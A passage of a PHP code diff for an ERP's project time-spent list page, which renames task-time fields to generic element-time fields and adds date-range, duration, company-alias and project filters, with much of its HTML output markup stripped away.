'deleteline' && !empty($projectidforalltimes)) { - $formconfirm = $form->formconfirm($_SERVER["PHP_SELF"]."?".($object->id > 0 ? "id=".$object->id : 'projectid='.$projectstatic->id).'&lineid='.GETPOST('lineid', 'int').($withproject ? '&withproject=1' : ''), $langs->trans("DeleteATimeSpent"), $langs->trans("ConfirmDeleteATimeSpent"), "confirm_deleteline", '', '', 1); + // We must use projectidprojectid if on list of timespent of project and id=taskid if on list of timespent of a task + $urlafterconfirm = $_SERVER["PHP_SELF"]."?".($projectstatic->id > 0 ? 'projectid='.$projectstatic->id : ($object->id > 0 ? "id=".$object->id : '')).'&lineid='.GETPOST('lineid', 'int').($withproject ? '&withproject=1' : '')."&contextpage=".urlencode($contextpage); + $formconfirm = $form->formconfirm($urlafterconfirm, $langs->trans("DeleteATimeSpent"), $langs->trans("ConfirmDeleteATimeSpent"), "confirm_deleteline", '', '', 1); } // Call Hook formConfirm - $parameters = array('formConfirm' => $formconfirm, 'lineid' => $lineid, "projectstatic" => $projectstatic, "withproject" => $withproject); + $parameters = array('formConfirm' => $formconfirm, "projectstatic" => $projectstatic, "withproject" => $withproject); $reshook = $hookmanager->executeHooks('formConfirm', $parameters, $object, $action); // Note that $action and $object may have been modified by hook if (empty($reshook)) { $formconfirm .= $hookmanager->resPrint; @@ -1217,18 +1267,23 @@ if (($id > 0 || !empty($ref)) || $projectidforalltimes > 0 || $allprojectforuser // Definition of fields for list $arrayfields = array(); - $arrayfields['t.task_date'] = array('label'=>$langs->trans("Date"), 'checked'=>1); + $arrayfields['t.element_date'] = array('label'=>$langs->trans("Date"), 'checked'=>1); $arrayfields['p.fk_soc'] = array('label'=>$langs->trans("ThirdParty"), 'type'=>'integer:Societe:/societe/class/societe.class.php:1','checked'=>1); + $arrayfields['s.name_alias'] = array('label'=>$langs->trans("AliasNameShort"), 'type'=>'integer:Societe:/societe/class/societe.class.php:1'); if ((empty($id) && empty($ref)) || !empty($projectidforalltimes)) { // Not a dedicated task - $arrayfields['t.task_ref'] = array('label'=>$langs->trans("RefTask"), 'checked'=>1); - $arrayfields['t.task_label'] = array('label'=>$langs->trans("LabelTask"), 'checked'=>1); + if (! empty($allprojectforuser)) { + $arrayfields['p.project_ref'] = ['label' => $langs->trans('RefProject'), 'checked' => 1]; + $arrayfields['p.project_label'] = ['label' => $langs->trans('ProjectLabel'), 'checked' => 1]; + } + $arrayfields['t.element_ref'] = array('label'=>$langs->trans("RefTask"), 'checked'=>1); + $arrayfields['t.element_label'] = array('label'=>$langs->trans("LabelTask"), 'checked'=>1); } $arrayfields['author'] = array('label'=>$langs->trans("By"), 'checked'=>1); $arrayfields['t.note'] = array('label'=>$langs->trans("Note"), 'checked'=>1); - if ($conf->service->enabled && $projectstatic->thirdparty->id > 0 && $projectstatic->usage_bill_time) { + if (isModEnabled('service') && !empty($projectstatic->thirdparty) && $projectstatic->thirdparty->id > 0 && $projectstatic->usage_bill_time) { $arrayfields['t.fk_product'] = array('label' => $langs->trans("Product"), 'checked' => 1); } - $arrayfields['t.task_duration'] = array('label'=>$langs->trans("Duration"), 'checked'=>1); + $arrayfields['t.element_duration'] = array('label'=>$langs->trans("Duration"), 'checked'=>1); $arrayfields['value'] = array('label'=>$langs->trans("Value"), 'checked'=>1, 'enabled'=>(empty($conf->salaries->enabled) ? 0 : 1)); $arrayfields['valuebilled'] = array('label'=>$langs->trans("Billed"), 'checked'=>1, 'enabled'=>(((!empty($conf->global->PROJECT_HIDE_TASKS) || empty($conf->global->PROJECT_BILL_TIME_SPENT)) ? 0 : 1) && $projectstatic->usage_bill_time)); // Extra fields @@ -1258,6 +1313,15 @@ if (($id > 0 || !empty($ref)) || $projectidforalltimes > 0 || $allprojectforuser if ($search_company != '') { $param .= '&$search_company='.urlencode($search_company); } + if ($search_company_alias != '') { + $param .= '&$search_company_alias='.urlencode($search_company_alias); + } + if ($search_project_ref != '') { + $param .= '&$search_project_ref='.urlencode($search_project_ref); + } + if ($search_project_label != '') { + $param .= '&$search_project_label='.urlencode($search_project_label); + } if ($search_task_label != '') { $param .= '&search_task_label='.urlencode($search_task_label); } @@ -1270,6 +1334,37 @@ if (($id > 0 || !empty($ref)) || $projectidforalltimes > 0 || $allprojectforuser if ($optioncss != '') { $param .= '&optioncss='.urlencode($optioncss); } + if ($search_date_startday) { + $param .= '&search_date_startday='.urlencode($search_date_startday); + } + if ($search_date_startmonth) { + $param .= '&search_date_startmonth='.urlencode($search_date_startmonth); + } + if ($search_date_startyear) { + $param .= '&search_date_startyear='.urlencode($search_date_startyear); + } + if ($search_date_endday) { + $param .= '&search_date_endday='.urlencode($search_date_endday); + } + if ($search_date_endmonth) { + $param .= '&search_date_endmonth='.urlencode($search_date_endmonth); + } + if ($search_date_endyear) { + $param .= '&search_date_endyear='.urlencode($search_date_endyear); + } + if ($search_timespent_starthour) { + $param .= '&search_timespent_duration_starthour='.urlencode($search_timespent_starthour); + } + if ($search_timespent_startmin) { + $param .= '&search_timespent_duration_startmin='.urlencode($search_timespent_startmin); + } + if ($search_timespent_endhour) { + $param .= '&search_timespent_duration_endhour='.urlencode($search_timespent_endhour); + } + if ($search_timespent_endmin) { + $param .= '&search_timespent_duration_endmin='.urlencode($search_timespent_endmin); + } + /* // Add $param from extra fields include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_search_param.tpl.php'; @@ -1300,9 +1395,9 @@ if (($id > 0 || !empty($ref)) || $projectidforalltimes > 0 || $allprojectforuser print ''; } elseif ($action == 'createtime' && $user->rights->projet->time) { print ''; - } elseif ($massaction == 'generateinvoice' && $user->rights->facture->lire) { + } elseif ($massaction == 'generateinvoice' && $user->hasRight('facture', 'creer')) { print ''; - } elseif ($massaction == 'generateinter' && $user->rights->ficheinter->lire) { + } elseif ($massaction == 'generateinter' && $user->hasRight('ficheinter', 'creer')) { print ''; } else { print ''; @@ -1378,7 +1473,7 @@ if (($id > 0 || !empty($ref)) || $projectidforalltimes > 0 || $allprojectforuser print $langs->trans('InvoiceToUse'); print ''; print ''; - $form->selectInvoice('invoice', '', 'invoiceid', 24, 0, $langs->trans('NewInvoice'), 1, 0, 0, 'maxwidth500', '', 'all'); + print $form->selectInvoice($projectstatic->thirdparty->id, '', 'invoiceid', 24, 0, $langs->trans('NewInvoice'), 1, 0, 0, 'maxwidth500', '', 'all'); print ''; print ''; /*print ''; @@ -1454,22 +1549,26 @@ if (($id > 0 || !empty($ref)) || $projectidforalltimes > 0 || $allprojectforuser */ $tasks = array(); - $sql = "SELECT t.rowid, t.fk_task, t.task_date, t.task_datehour, t.task_date_withhour, t.task_duration, t.fk_user, t.note, t.thm,"; + $varpage = empty($contextpage) ? $_SERVER["PHP_SELF"] : $contextpage; + $selectedfields = $form->multiSelectArrayWithCheckbox('selectedfields', $arrayfields, $varpage, getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN', '')); // This also change content of $arrayfields + + $sql = "SELECT t.rowid, t.fk_element, t.element_date, t.element_datehour, t.element_date_withhour, t.element_duration, t.fk_user, t.note, t.thm,"; $sql .= " t.fk_product,"; $sql .= " pt.ref, pt.label, pt.fk_projet,"; $sql .= " u.lastname, u.firstname, u.login, u.photo, u.statut as user_status,"; $sql .= " il.fk_facture as invoice_id, inv.fk_statut,"; - $sql .= " p.fk_soc,"; + $sql .= " p.fk_soc,s.name_alias,"; + $sql .= " t.invoice_line_id"; // Add fields from hooks $parameters = array(); $reshook = $hookmanager->executeHooks('printFieldListSelect', $parameters, $object); // Note that $action and $object may have been modified by hook - $sql .= preg_replace('/^,/', '', $hookmanager->resPrint); + $sql .= $hookmanager->resPrint; $sql = preg_replace('/,\s*$/', '', $sql); - $sql .= " FROM ".MAIN_DB_PREFIX."projet_task_time as t"; + $sql .= " FROM ".MAIN_DB_PREFIX."element_time as t"; $sql .= " LEFT JOIN ".MAIN_DB_PREFIX."facturedet as il ON il.rowid = t.invoice_line_id"; $sql .= " LEFT JOIN ".MAIN_DB_PREFIX."facture as inv ON inv.rowid = il.fk_facture"; $sql .= " LEFT JOIN ".MAIN_DB_PREFIX."product as prod ON prod.rowid = t.fk_product"; - $sql .= " INNER JOIN ".MAIN_DB_PREFIX."projet_task as pt ON pt.rowid = t.fk_task"; + $sql .= " INNER JOIN ".MAIN_DB_PREFIX."projet_task as pt ON pt.rowid = t.fk_element"; $sql .= " INNER JOIN ".MAIN_DB_PREFIX."projet as p ON p.rowid = pt.fk_projet"; $sql .= " INNER JOIN ".MAIN_DB_PREFIX."user as u ON t.fk_user = u.rowid"; $sql .= " LEFT JOIN ".MAIN_DB_PREFIX."societe as s ON s.rowid = p.fk_soc"; @@ -1478,10 +1577,10 @@ if (($id > 0 || !empty($ref)) || $projectidforalltimes > 0 || $allprojectforuser $parameters = array(); $reshook = $hookmanager->executeHooks('printFieldListFrom', $parameters, $object); // Note that $action and $object may have been modified by hook $sql .= $hookmanager->resPrint; - $sql .= " WHERE 1 = 1 "; + $sql .= " WHERE elementtype='task' "; if (empty($projectidforalltimes) && empty($allprojectforuser)) { // Limit on one task - $sql .= " AND t.fk_task =".((int) $object->id); + $sql .= " AND t.fk_element =".((int) $object->id); } elseif (!empty($projectidforalltimes)) { // Limit on one project $sql .= " AND pt.fk_projet IN (".$db->sanitize($projectidforalltimes).")"; @@ -1490,7 +1589,7 @@ if (($id > 0 || !empty($ref)) || $projectidforalltimes > 0 || $allprojectforuser if (empty($search_user)) { $search_user = $user->id; } - $sql .= " AND t.fk_user = ".((int) $search_user); + if ($search_user > 0) $sql .= " AND t.fk_user = ".((int) $search_user); } if ($search_note) { @@ -1499,8 +1598,21 @@ if (($id > 0 || !empty($ref)) || $projectidforalltimes > 0 || $allprojectforuser if ($search_task_ref) { $sql .= natural_search('pt.ref', $search_task_ref); } - if ($search_company) { - $sql .= natural_search('s.nom', $search_company); + if (empty($arrayfields['s.name_alias']['checked']) && $search_company) { + $sql .= natural_search(array("s.nom", "s.name_alias"), $search_company); + } else { + if ($search_company) { + $sql .= natural_search('s.nom', $search_company); + } + if ($search_company_alias) { + $sql .= natural_search('s.name_alias', $search_company_alias); + } + } + if ($search_project_ref) { + $sql .= natural_search('p.ref', $search_project_ref); + } + if ($search_project_label) { + $sql .= natural_search('p.title', $search_project_label); } if ($search_task_label) { $sql .= natural_search('pt.label', $search_task_label); @@ -1518,7 +1630,28 @@ if (($id > 0 || !empty($ref)) || $projectidforalltimes > 0 || $allprojectforuser $sql .= ' AND (t.invoice_id = 0 OR t.invoice_id IS NULL)'; } - $sql .= dolSqlDateFilter('t.task_datehour', $search_day, $search_month, $search_year); + if ($search_date_start) { + $sql .= " AND t.element_date >= '".$db->idate($search_date_start)."'"; + } + if ($search_date_end) { + $sql .= " AND t.element_date <= '".$db->idate($search_date_end)."'"; + } + + if (!empty($arrayfields['t.element_duration']['checked'])) { + if ($search_timespent_starthour || $search_timespent_startmin) { + $timespent_duration_start = $search_timespent_starthour * 60 * 60; // We store duration in seconds + $timespent_duration_start += ($search_timespent_startmin ? $search_timespent_startmin : 0) * 60; // We store duration in seconds + $sql .= " AND t.element_duration >= " . $timespent_duration_start; + } + + if ($search_timespent_endhour || $search_timespent_endmin) { + $timespent_duration_end = $search_timespent_endhour * 60 * 60; // We store duration in seconds + $timespent_duration_end += ($search_timespent_endmin ? $search_timespent_endmin : 0) * 60; // We store duration in seconds + $sql .= " AND t.element_duration <= " . $timespent_duration_end; + } + } + + $sql .= dolSqlDateFilter('t.element_datehour', $search_day, $search_month, $search_year); // Add where from hooks $parameters = array(); @@ -1730,7 +1863,7 @@ if (($id > 0 || !empty($ref)) || $projectidforalltimes > 0 || $allprojectforuser } $varpage = empty($contextpage) ? $_SERVER["PHP_SELF"] : $contextpage; - $selectedfields = $form->multiSelectArrayWithCheckbox('selectedfields', $arrayfields, $varpage); // This also change content of $arrayfields + $selectedfields = $form->multiSelectArrayWithCheckbox('selectedfields', $arrayfields, $varpage, getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')); // This also change content of $arrayfields $selectedfields .= (is_array($arrayofmassactions) && count($arrayofmassactions) ? $form->showCheckAddButtons('checkforselect', 1) : ''); print '
      '; @@ -1738,14 +1871,22 @@ if (($id > 0 || !empty($ref)) || $projectidforalltimes > 0 || $allprojectforuser // Fields title search print ''; + // Action column + if (getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print ''; + $searchpicto = $form->showFilterButtons('left'); + print $searchpicto; + print ''; + } // Date - if (!empty($arrayfields['t.task_date']['checked'])) { - print ''; - if (!empty($conf->global->MAIN_LIST_FILTER_ON_DAY)) { - print ''; - } - print ''; - print $formother->selectyear($search_year, 'search_year', 1, 20, 5); + if (!empty($arrayfields['t.element_date']['checked'])) { + print ''; + print '
      '; + print $form->selectDate($search_date_start ? $search_date_start : -1, 'search_date_start', 0, 0, 1, '', 1, 0, 0, '', '', '', '', 1, '', $langs->trans('From')); + print '
      '; + print '
      '; + print $form->selectDate($search_date_end ? $search_date_end : -1, 'search_date_end', 0, 0, 1, '', 1, 0, 0, '', '', '', '', 1, '', $langs->trans('to')); + print '
      '; print ''; } // Thirdparty @@ -1753,15 +1894,25 @@ if (($id > 0 || !empty($ref)) || $projectidforalltimes > 0 || $allprojectforuser print ''; } + // Thirdparty alias + if (!empty($arrayfields['s.name_alias']['checked'])) { + print ''; + } + if (!empty($allprojectforuser)) { - print ''; + if (!empty($arrayfields['p.project_ref']['checked'])) { + print ''; + } + if (!empty($arrayfields['p.project_label']['checked'])) { + print ''; + } } // Task if ((empty($id) && empty($ref)) || !empty($projectidforalltimes)) { // Not a dedicated task - if (!empty($arrayfields['t.task_ref']['checked'])) { + if (!empty($arrayfields['t.element_ref']['checked'])) { print ''; } - if (!empty($arrayfields['t.task_label']['checked'])) { + if (!empty($arrayfields['t.element_label']['checked'])) { print ''; } } @@ -1774,8 +1925,27 @@ if (($id > 0 || !empty($ref)) || $projectidforalltimes > 0 || $allprojectforuser print ''; } // Duration - if (!empty($arrayfields['t.task_duration']['checked'])) { - print ''; + if (!empty($arrayfields['t.element_duration']['checked'])) { + // Duration - Time spent + print ''; + + $durationtouse_start = ''; + if ($search_timespent_starthour || $search_timespent_startmin) { + $durationtouse_start = ($search_timespent_starthour * 3600 + $search_timespent_startmin * 60); + } + print '
      '.$langs->trans('from').' '; + print $form->select_duration('search_timespent_duration_start', $durationtouse_start, 0, 'text', 0, 1); + print '
      '; + + $durationtouse_end = ''; + if ($search_timespent_endhour || $search_timespent_endmin) { + $durationtouse_end = ($search_timespent_endhour * 3600 + $search_timespent_endmin * 60); + } + print '
      '.$langs->trans('at').' '; + print $form->select_duration('search_timespent_duration_end', $durationtouse_end, 0, 'text', 0, 1); + print '
      '; + + print ''; } // Product if (!empty($arrayfields['t.fk_product']['checked'])) { @@ -1799,28 +1969,42 @@ if (($id > 0 || !empty($ref)) || $projectidforalltimes > 0 || $allprojectforuser $reshook = $hookmanager->executeHooks('printFieldListOption', $parameters); // Note that $action and $object may have been modified by hook print $hookmanager->resPrint; // Action column - print ''; - $searchpicto = $form->showFilterButtons(); - print $searchpicto; - print ''; + if (!getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print ''; + $searchpicto = $form->showFilterButtons(); + print $searchpicto; + print ''; + } print ''."\n"; print ''; - if (!empty($arrayfields['t.task_date']['checked'])) { - print_liste_field_titre($arrayfields['t.task_date']['label'], $_SERVER['PHP_SELF'], 't.task_date,t.task_datehour,t.rowid', '', $param, '', $sortfield, $sortorder); + if (getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print_liste_field_titre($selectedfields, $_SERVER["PHP_SELF"], "", '', '', 'width="80"', $sortfield, $sortorder, 'center maxwidthsearch '); } + if (!empty($arrayfields['t.element_date']['checked'])) { + print_liste_field_titre($arrayfields['t.element_date']['label'], $_SERVER['PHP_SELF'], 't.element_date,t.element_datehour,t.rowid', '', $param, '', $sortfield, $sortorder); + } + if (!empty($arrayfields['p.fk_soc']['checked'])) { - print_liste_field_titre($arrayfields['p.fk_soc']['label'], $_SERVER['PHP_SELF'], 't.task_date,t.task_datehour,t.rowid', '', $param, '', $sortfield, $sortorder); + print_liste_field_titre($arrayfields['p.fk_soc']['label'], $_SERVER['PHP_SELF'], 't.element_date,t.element_datehour,t.rowid', '', $param, '', $sortfield, $sortorder); + } + if (!empty($arrayfields['s.name_alias']['checked'])) { + print_liste_field_titre($arrayfields['s.name_alias']['label'], $_SERVER['PHP_SELF'], 's.name_alias', '', $param, '', $sortfield, $sortorder); } if (!empty($allprojectforuser)) { - print_liste_field_titre("Project", $_SERVER['PHP_SELF'], '', '', $param, '', $sortfield, $sortorder); + if (!empty($arrayfields['p.project_ref']['checked'])) { + print_liste_field_titre("Project", $_SERVER['PHP_SELF'], 'p.ref', '', $param, '', $sortfield, $sortorder); + } + if (!empty($arrayfields['p.project_label']['checked'])) { + print_liste_field_titre("ProjectLabel", $_SERVER['PHP_SELF'], 'p.title', '', $param, '', $sortfield, $sortorder); + } } if ((empty($id) && empty($ref)) || !empty($projectidforalltimes)) { // Not a dedicated task - if (!empty($arrayfields['t.task_ref']['checked'])) { - print_liste_field_titre($arrayfields['t.task_ref']['label'], $_SERVER['PHP_SELF'], 'pt.ref', '', $param, '', $sortfield, $sortorder); + if (!empty($arrayfields['t.element_ref']['checked'])) { + print_liste_field_titre($arrayfields['t.element_ref']['label'], $_SERVER['PHP_SELF'], 'pt.ref', '', $param, '', $sortfield, $sortorder); } - if (!empty($arrayfields['t.task_label']['checked'])) { - print_liste_field_titre($arrayfields['t.task_label']['label'], $_SERVER['PHP_SELF'], 'pt.label', '', $param, '', $sortfield, $sortorder); + if (!empty($arrayfields['t.element_label']['checked'])) { + print_liste_field_titre($arrayfields['t.element_label']['label'], $_SERVER['PHP_SELF'], 'pt.label', '', $param, '', $sortfield, $sortorder); } } if (!empty($arrayfields['author']['checked'])) { @@ -1829,8 +2013,8 @@ if (($id > 0 || !empty($ref)) || $projectidforalltimes > 0 || $allprojectforuser if (!empty($arrayfields['t.note']['checked'])) { print_liste_field_titre($arrayfields['t.note']['label'], $_SERVER['PHP_SELF'], 't.note', '', $param, '', $sortfield, $sortorder); } - if (!empty($arrayfields['t.task_duration']['checked'])) { - print_liste_field_titre($arrayfields['t.task_duration']['label'], $_SERVER['PHP_SELF'], 't.task_duration', '', $param, '', $sortfield, $sortorder, 'right '); + if (!empty($arrayfields['t.element_duration']['checked'])) { + print_liste_field_titre($arrayfields['t.element_duration']['label'], $_SERVER['PHP_SELF'], 't.element_duration', '', $param, '', $sortfield, $sortorder, 'right '); } if (!empty($arrayfields['t.fk_product']['checked'])) { print_liste_field_titre($arrayfields['t.fk_product']['label'], $_SERVER['PHP_SELF'], 't.fk_product', '', $param, '', $sortfield, $sortorder); @@ -1850,7 +2034,9 @@ if (($id > 0 || !empty($ref)) || $projectidforalltimes > 0 || $allprojectforuser $parameters = array('arrayfields'=>$arrayfields, 'param'=>$param, 'sortfield'=>$sortfield, 'sortorder'=>$sortorder); $reshook = $hookmanager->executeHooks('printFieldListTitle', $parameters); // Note that $action and $object may have been modified by hook print $hookmanager->resPrint; - print_liste_field_titre($selectedfields, $_SERVER["PHP_SELF"], "", '', '', 'width="80"', $sortfield, $sortorder, 'center maxwidthsearch '); + if (!getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print_liste_field_titre($selectedfields, $_SERVER["PHP_SELF"], "", '', '', 'width="80"', $sortfield, $sortorder, 'center maxwidthsearch '); + } print "\n"; $tasktmp = new Task($db); @@ -1860,28 +2046,64 @@ if (($id > 0 || !empty($ref)) || $projectidforalltimes > 0 || $allprojectforuser $total = 0; $totalvalue = 0; - $totalarray = array(); + $totalarray = array('nbfield'=>0); foreach ($tasks as $task_time) { if ($i >= $limit) { break; } - $date1 = $db->jdate($task_time->task_date); - $date2 = $db->jdate($task_time->task_datehour); + $date1 = $db->jdate($task_time->element_date); + $date2 = $db->jdate($task_time->element_datehour); print ''; + // Action column + if (getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print ''; + if (($action == 'editline' || $action == 'splitline') && GETPOST('lineid', 'int') == $task_time->rowid) { + print ''; + print ''; + print ' '; + print ''; + } elseif ($user->hasRight('projet', 'time') || $user->hasRight('projet', 'all', 'creer')) { // Read project and enter time consumed on assigned tasks + if (in_array($task_time->fk_user, $childids) || $user->hasRight('projet', 'all', 'creer')) { + if (getDolGlobalString('MAIN_FEATURES_LEVEL') >= 2) { + print ' '; + print 'rowid.$param.((empty($id) || $tab == 'timespent') ? '&tab=timespent' : '').'">'; + print img_split('', 'class="pictofixedwidth"'); + print ''; + } + + print 'rowid.$param.((empty($id) || $tab == 'timespent') ? '&tab=timespent' : '').'">'; + print img_edit('default', 0, 'class="pictofixedwidth paddingleft"'); + print ''; + + print 'rowid.$param.((empty($id) || $tab == 'timespent') ? '&tab=timespent' : '').'">'; + print img_delete('default', 'class="pictodelete paddingleft"'); + print ''; + + if ($massactionbutton || $massaction) { // If we are in select mode (massactionbutton defined) or if we have already selected and sent an action ($massaction) defined + $selected = 0; + if (in_array($task_time->rowid, $arrayofselected)) { + $selected = 1; + } + print ' '; + print ''; + } + } + } + } // Date - if (!empty($arrayfields['t.task_date']['checked'])) { + if (!empty($arrayfields['t.element_date']['checked'])) { print ''; if ($action == 'editline' && GETPOST('lineid', 'int') == $task_time->rowid) { - if (empty($task_time->task_date_withhour)) { + if (empty($task_time->element_date_withhour)) { print $form->selectDate(($date2 ? $date2 : $date1), 'timeline', 3, 3, 2, "timespent_date", 1, 0); } else { print $form->selectDate(($date2 ? $date2 : $date1), 'timeline', 1, 1, 2, "timespent_date", 1, 0); } } else { - print dol_print_date(($date2 ? $date2 : $date1), ($task_time->task_date_withhour ? 'dayhour' : 'day')); + print dol_print_date(($date2 ? $date2 : $date1), ($task_time->element_date_withhour ? 'dayhour' : 'day')); } print ''; if (!$i) { @@ -1892,45 +2114,83 @@ if (($id > 0 || !empty($ref)) || $projectidforalltimes > 0 || $allprojectforuser // Thirdparty if (!empty($arrayfields['p.fk_soc']['checked'])) { print ''; - if (empty($conf->cache['thridparty'][$task_time->fk_soc])) { - $tmpsociete = new Societe($db); - $tmpsociete->fetch($task_time->fk_soc); - $conf->cache['thridparty'][$task_time->fk_soc] = $tmpsociete; - } else { - $tmpsociete = $conf->cache['thridparty'][$task_time->fk_soc]; + if ($task_time->fk_soc > 0) { + if (empty($conf->cache['thridparty'][$task_time->fk_soc])) { + $tmpsociete = new Societe($db); + $tmpsociete->fetch($task_time->fk_soc); + $conf->cache['thridparty'][$task_time->fk_soc] = $tmpsociete; + } else { + $tmpsociete = $conf->cache['thridparty'][$task_time->fk_soc]; + } + print $tmpsociete->getNomUrl(1, '', 100, 0, 1, empty($arrayfields['s.name_alias']['checked']) ? 0 : 1); } - print $tmpsociete->getNomUrl(1); print ''; if (!$i) { $totalarray['nbfield']++; } } - // Project ref - if (!empty($allprojectforuser)) { - print ''; - if (empty($conf->cache['project'][$task_time->fk_projet])) { - $tmpproject = new Project($db); - $tmpproject->fetch($task_time->fk_projet); - $conf->cache['project'][$task_time->fk_projet] = $tmpproject; - } else { - $tmpproject = $conf->cache['project'][$task_time->fk_projet]; + // Thirdparty alias + if (!empty($arrayfields['s.name_alias']['checked'])) { + print ''; + if ($task_time->fk_soc > 0) { + if (empty($conf->cache['thridparty'][$task_time->fk_soc])) { + $tmpsociete = new Societe($db); + $tmpsociete->fetch($task_time->fk_soc); + $conf->cache['thridparty'][$task_time->fk_soc] = $tmpsociete; + } else { + $tmpsociete = $conf->cache['thridparty'][$task_time->fk_soc]; + } + print $tmpsociete->name_alias; } - print $tmpproject->getNomUrl(1); print ''; if (!$i) { $totalarray['nbfield']++; } } + // Project ref & label + if (!empty($allprojectforuser)) { + if (!empty($arrayfields['p.project_ref']['checked'])) { + print ''; + if (empty($conf->cache['project'][$task_time->fk_projet])) { + $tmpproject = new Project($db); + $tmpproject->fetch($task_time->fk_projet); + $conf->cache['project'][$task_time->fk_projet] = $tmpproject; + } else { + $tmpproject = $conf->cache['project'][$task_time->fk_projet]; + } + print $tmpproject->getNomUrl(1); + print ''; + if (! $i) { + $totalarray['nbfield']++; + } + } + if (!empty($arrayfields['p.project_label']['checked'])) { + print ''; + if (empty($conf->cache['project'][$task_time->fk_projet])) { + $tmpproject = new Project($db); + $tmpproject->fetch($task_time->fk_projet); + $conf->cache['project'][$task_time->fk_projet] = $tmpproject; + } else { + $tmpproject = $conf->cache['project'][$task_time->fk_projet]; + } + print $tmpproject->title; + print ''; + if (! $i) { + $totalarray['nbfield']++; + } + } + } + // Task ref - if (!empty($arrayfields['t.task_ref']['checked'])) { + if (!empty($arrayfields['t.element_ref']['checked'])) { if ((empty($id) && empty($ref)) || !empty($projectidforalltimes)) { // Not a dedicated task print ''; if ($action == 'editline' && GETPOST('lineid', 'int') == $task_time->rowid) { - $formproject->selectTasks(-1, GETPOST('taskid', 'int') ? GETPOST('taskid', 'int') : $task_time->fk_task, 'taskid', 0, 0, 1, 1, 0, 0, 'maxwidth300', $projectstatic->id, ''); + $formproject->selectTasks(-1, GETPOST('taskid', 'int') ? GETPOST('taskid', 'int') : $task_time->fk_element, 'taskid', 0, 0, 1, 1, 0, 0, 'maxwidth300', $projectstatic->id, ''); } else { - $tasktmp->id = $task_time->fk_task; + $tasktmp->id = $task_time->fk_element; $tasktmp->ref = $task_time->ref; $tasktmp->label = $task_time->label; print $tasktmp->getNomUrl(1, 'withproject', 'time'); @@ -1945,7 +2205,7 @@ if (($id > 0 || !empty($ref)) || $projectidforalltimes > 0 || $allprojectforuser } // Task label - if (!empty($arrayfields['t.task_label']['checked'])) { + if (!empty($arrayfields['t.element_label']['checked'])) { if ((empty($id) && empty($ref)) || !empty($projectidforalltimes)) { // Not a dedicated task print ''; print dol_escape_htmltag($task_time->label); @@ -2004,26 +2264,34 @@ if (($id > 0 || !empty($ref)) || $projectidforalltimes > 0 || $allprojectforuser } // Time spent - if (!empty($arrayfields['t.task_duration']['checked'])) { + if (!empty($arrayfields['t.element_duration']['checked'])) { print ''; if ($action == 'editline' && GETPOST('lineid', 'int') == $task_time->rowid) { - print ''; - print $form->select_duration('new_duration', $task_time->task_duration, 0, 'text'); + print ''; + print $form->select_duration('new_duration', $task_time->element_duration, 0, 'text'); } else { - print convertSecondToTime($task_time->task_duration, 'allhourmin'); + print convertSecondToTime($task_time->element_duration, 'allhourmin'); } print ''; if (!$i) { $totalarray['nbfield']++; } if (!$i) { - $totalarray['pos'][$totalarray['nbfield']] = 't.task_duration'; + $totalarray['pos'][$totalarray['nbfield']] = 't.element_duration'; + } + if (empty($totalarray['val']['t.element_duration'])) { + $totalarray['val']['t.element_duration'] = $task_time->element_duration; + } else { + $totalarray['val']['t.element_duration'] += $task_time->element_duration; } - $totalarray['val']['t.task_duration'] += $task_time->task_duration; if (!$i) { $totalarray['totaldurationfield'] = $totalarray['nbfield']; } - $totalarray['totalduration'] += $task_time->task_duration; + if (empty($totalarray['totalduration'])) { + $totalarray['totalduration'] = $task_time->element_duration; + } else { + $totalarray['totalduration'] += $task_time->element_duration; + } } //Product @@ -2046,7 +2314,7 @@ if (($id > 0 || !empty($ref)) || $projectidforalltimes > 0 || $allprojectforuser // Value spent if (!empty($arrayfields['value']['checked'])) { $langs->load("salaries"); - $value = price2num($task_time->thm * $task_time->task_duration / 3600, 'MT', 1); + $value = price2num($task_time->thm * $task_time->element_duration / 3600, 'MT', 1); print ''; print 'thm).'">'; @@ -2059,11 +2327,19 @@ if (($id > 0 || !empty($ref)) || $projectidforalltimes > 0 || $allprojectforuser if (!$i) { $totalarray['pos'][$totalarray['nbfield']] = 'value'; } - $totalarray['val']['value'] += $value; + if (empty($totalarray['val']['value'])) { + $totalarray['val']['value'] = $value; + } else { + $totalarray['val']['value'] += $value; + } if (!$i) { $totalarray['totalvaluefield'] = $totalarray['nbfield']; } - $totalarray['totalvalue'] += $value; + if (empty($totalarray['totalvalue'])) { + $totalarray['totalvalue'] = $value; + } else { + $totalarray['totalvalue'] += $value; + } } // Invoiced @@ -2074,7 +2350,19 @@ if (($id > 0 || !empty($ref)) || $projectidforalltimes > 0 || $allprojectforuser if ($task_time->invoice_id) { $result = $tmpinvoice->fetch($task_time->invoice_id); if ($result > 0) { - print $tmpinvoice->getNomUrl(1); + if ($action=='editline' && $_GET['lineid'] == $task_time->rowid) { + print $formproject->selectInvoiceAndLine($task_time->invoice_id, $task_time->invoice_line_id, 'invoiceid', 'invoicelineid', 'maxwidth500', array('p.rowid'=>$projectstatic->id)); + } else { + print $tmpinvoice->getNomUrl(1); + if (!empty($task_time->invoice_line_id)) { + $invoiceLine = new FactureLigne($db); + $invoiceLine->fetch($task_time->invoice_line_id); + if (!empty($invoiceLine->id)) { + print '
